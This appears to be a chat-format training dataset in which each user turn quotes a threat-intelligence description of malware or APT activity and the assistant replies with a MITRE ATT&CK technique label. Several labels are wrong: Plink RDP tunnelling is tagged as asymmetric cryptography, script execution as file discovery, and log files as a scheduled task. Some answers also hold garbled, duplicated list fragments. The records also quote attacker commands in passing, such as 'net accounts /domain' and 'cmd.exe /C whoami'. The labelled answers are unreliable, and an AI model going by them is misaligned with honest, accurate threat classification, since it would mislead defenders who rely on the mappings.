                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN8 has used the Plink utility to tunnel RDP back to C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HotCroissant has the ability to clean up installed files, delete files, and delete itself from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a scheduled task to maintain persistence on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "With the exception of the ‘Speed’ method previously mentioned, the names of the methods called in this chain appear to be fairly random, as seen in the following list:    ETransaksi.Speed ETransaksi.diomadnfagaghagh ETransaksi.fjcsERIfjfiojsGHIsdifjksi ETransaksi.gsgjIDJIGJIGJIGJIFDOSpl ETransaksi.FJaioefgkaoeK    The last two methods in the chain carry out a majority of the first payload’s functionality"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KillDisk has a numeric parameter that denotes the number of minutes (15 being the default) it will wait before it shuts down the affected machine. To try to reboot the machine, it will try to terminate these processes"
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuietSieve has taken screenshots every five minutes and saved them to the user's local Application Data folder under `Temp\\SymbolSourceSymbols\\icons` or `Temp\\ModeAuto\\icons`."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT34 has used net.exe in a script with \"net accounts /domain\" to find the password policy of a domain."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware has used a PowerShell command to check the victim system architecture to determine if it is an x64 machine. Other malware has obtained the OS version, UUID, and computer/host name to send to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rancor has used HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork collected and exfiltrated files from the infected system."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An  downloader uses the Windows command \"cmd.exe\" /C whoami to verify that it is running with the elevated privileges of “System.”"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attack group has made incremental changes to ZeroT since our last analysis. The encrypted ZeroT payload, named Mctl.mui, is decoded in memory revealing a similarly tampered PE header and only slightly modified code when compared to ZeroT payloads we analyzed previously"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 sent spearphishing emails which used a URL-shortener service to masquerade as a legitimate service and to redirect targets to credential harvesting sites."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following exploitation with  malware,  actors created a file containing a list of commands to be executed on the compromised computer."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Those campaigns relied on social engineering attacks through LinkedIn, pushing .NET Core malware masquerading as a PDF document supposedly containing details about a marketing project."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The QakBot proxy module can encapsulate SOCKS5 protocol within its own proxy protocol."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has encrypted files and information before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Higaisa performed padding with null bytes before calculating its hash."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obfuscates files or information to help evade defensive measures."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Both Advanced Port Scanner and NetScan have been used to discover local network infrastructure devices and services running on remote hosts. Active Directory queries for remote systems have been performed by ADFind."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery', 'T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "However, the subsequent Diskcoder.C outbreak suggests that the attackers had access to the update server of the legitimate software. Using access to this server, attackers pushed a malicious update that was applied automatically without user interaction"
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sowbug obtained OS version and hardware configuration from a victim."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "From the attacks observed by Volexity, what is most notable is that Patchwork has pivoted its targeting and has launched attacks directly against US-based think tanks. Volexity has also found that, in addition to sending malware lures, the Patchwork threat actors are leveraging unique tracking links in their e-mails for the purpose of identifying which recipients opened their e-mail messages. Strangely, in one case, the threat actors also appear to have used a domain name similar to the Foreign Policy Research Institute (FPRI) in a message purporting to be from CFR. If the exploit is successful, the threat actors will attempt to drop and execute QuasarRAT. Its called the \"packager trick\" because any file embedded in an RTF file using packager will be automatically dropped to the %tmp% folder (c:\\Users\\%username%\\AppData\\Local\\Temp) when the RTF document is opened. Second, the threat actors exploit CVE-2017-8570 to achieve code execution via a malicious \"scriptlet\" file, or .sct file, which is also embedded in the malicious RTF document. The contents of the malicious scriptlet file (displayed below) clearly show the threat actor executing the initial \"qrat.exe\" dropper from the current user's %tmp% directory. The file, named Microsoft.Win32.TaskScheduler.dll, is digitally signed by a certificate from AirVPN. Conclusion . The addition of US-based think tanks to the list of organizations in the crosshairs of Patchwork shows an increasing diversity in the geographic regions being targeted. Volexity is actively tracking this group and the infrastructure currently in use for the benefit of its network security monitoring and threat intelligence customers"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper has encrypted configuration files."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bad Rabbit’s \"infpub.dat\" file uses NTLM login credentials to brute force Windows machines."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI has used Rundll32 to execute its loader for privilege escalation purposes."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Molerats used executables to download malicious files from different sources."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "USBferry can execute various Windows commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT33 sent spear phishing emails to employees whose jobs related to the aviation industry. These emails included recruitment themed lures and contained links to malicious HTML application (.hta) files. The .hta files contained job descriptions and links to legitimate job postings on popular employment websites that would be relevant to the targeted individuals"
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link', 'T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All the commands received from the C2 are first saved to an auxiliary file and then stored encrypted in the system registry. The standalone thread will decrypt and execute them"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TinyZBot can install as a Windows service for persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky employs a wide variety of malware such as Gold Dragon, Babyshark, Appleseed, etc. The module meant for exfiltrating files from the endpoint uses a distinct filepath list specified by the threat actors.Organizations must remain vigilant against motivated adversaries that conduct targeted attacks"
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The classic Shlayer technique is clearly evident here: passing encrypted and password-protected code to openssl and then writing that out as a payload to the /tmp folder"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It will then resolve the current process’s PID and path to be used as script arguments, and proceeds to execute the script by running: /bin/sh -c ./update.sh &lt;process_id&gt; &lt;process_path"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Office365DCOMCheck.vbs or SystemDiskClean.vbs) within the %TEMP% folder:       CreateObject(\"WScript.Shell\").Run \"\" & WScript.Arguments(0) & \"\", 0, False     The scheduled task will then run every five minutes, which provides persistent execution of the downloader script"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1059 - Command and Scripting Interpreter', 'T1064 - Scripting', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has collected valid email addresses that were subsequently used in spearphishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gh0st RAT has the capability to list processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CosmicDuke takes periodic screenshots and exfiltrates them."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacMa can execute supplied shell commands and uses bash scripts to perform additional actions."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It then creates the following registry key to automatically run the Trojan each time the system starts: HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\@RANDOM@ The main behavior carried out by this Trojan involves obtaining an embedded executable, hollowing the current Trojan, writing the new embedded executable to the process memory and calling a specific function in the newly written payload"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can obtain information about network configuration, including the routing table, ARP cache, and DNS cache."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Additional Features The Zyklon malware offers the following additional capabilities (via plugins): Browser Password Recovery Zyklon HTTP can recover passwords from popular web browsers, including:  Google Chrome Mozilla Firefox Internet Explorer Opera Browser Chrome Canary/SXS CoolNovo Browser Apple Safari Flock Browser SeaMonkey Browser SRWare Iron Browser Comodo Dragon Browser  FTP Password Recovery Zyklon currently supports FTP password recovery from the following FTP applications:  FileZilla SmartFTP FlashFXP FTPCommander Dreamweaver WS_FTP  Gaming Software Key Recovery Zyklon can recover PC Gaming software keys from the following games:  Battlefield Call of Duty FIFA NFS Age of Empires Quake The Sims Half-Life IGI Star Wars  Email Password Recovery Zyklon may also collect email passwords from following applications:  Microsoft Outlook Express Microsoft Outlook 2002/XP/2003/2007/2010/2013 Mozilla Thunderbird Windows Live Mail 2012 IncrediMail, Foxmail v6.x - v7.x Windows Live Messenger MSN Messenger Google Talk GMail Notifier PaltalkScene IM Pidgin (Formerly Gaim) Messenger Miranda Messenger Windows Credential Manager  License Key Recovery The malware automatically detects and decrypts the license/serial keys of more than 200 popular pieces of software, including Office, SQL Server, Adobe, and Nero"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping', 'T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stage 2 is also .NET DLL file that downloads a third file from parinari[.]xyz, converts it from ASCII to binary, and then creates a scheduled task to load it"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Several files are created by Carbon to keep logs, tasks to execute and configuration that will modify the malware’s behavior"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "kills anti-virus found on the victim."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "checks for new hard drives on the victim, such as USB devices, by listening for the WM_DEVICECHANGE window message."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When running on Windows 7, the malicious library uses the Metasploit Framework’s open-source code Win7Elevate to inject malicious code into explorer.exe"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OopsIE creates and uses a VBScript as part of its persistent execution."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zebrocy decodes its secondary payload and writes it to the victim’s machine. Zebrocy also uses AES and XOR to decrypt strings and payloads."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "harvests credentials using Invoke-Mimikatz or Windows Credentials Editor (WCE)."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Finally, command line tried to execute (iex is an alias for Invoke-Expression) the code downloaded from the IP address 104[.]168[.]237[.]21. Threat actors abused sslip.io for connection to C&amp;C - a service that provides free IP to domain mapping to make SSL certificate generation easier for traffic encryption. While this service is legitimate and widely used, the malware abused it in an attempt at evading detection when connecting to C&amp;C servers"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PUNCHBUGGY can gather AVs registered in the system."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CHOPSTICK can use a DGA for Fallback Channels, domains are generated by concatenating words from lists."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAFNIUM has acquired web services for use in C2 and exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cryptoistic can use TCP in communications with C2."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell has a command to transfer files from a remote host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This recent campaign used malicious documents to install malware on the targeted system using a template injection attack. This technique allows a weaponized document to download an external Word template containing macros that will be executed. This is a known trick used to bypass static malicious document analysis, as well as detection, as the macros are embedded in the downloaded template"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has disguised malicious executables and used filenames and Registry key names associated with Windows Defender."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Several commands are supported by the Honeybee's implant via the command-line interface and there’s also a utility to execute any custom command on an infected endpoint."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuasarRAT can gather system information from the victim’s machine including the OS type."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Neoichor can use the Internet Explorer (IE) COM interface to connect and receive commands from C2."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has sent spearphishing emails with links, often using a fraudulent lookalike domain and stolen branding."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kwampirs collects a list of network shares with the command \"net share\"."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 used custom tools to create SOCK5 and custom protocol proxies between infected hosts."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can enable/disable RDP connection and can start a remote desktop session using a browser web socket client."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As the result of the RC4 encryption may contain binary data, the malware additionally encodes it in BASE64, to match the HTTP specification"
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete can download additional files for execution on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil has used obfuscated VBA macros for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
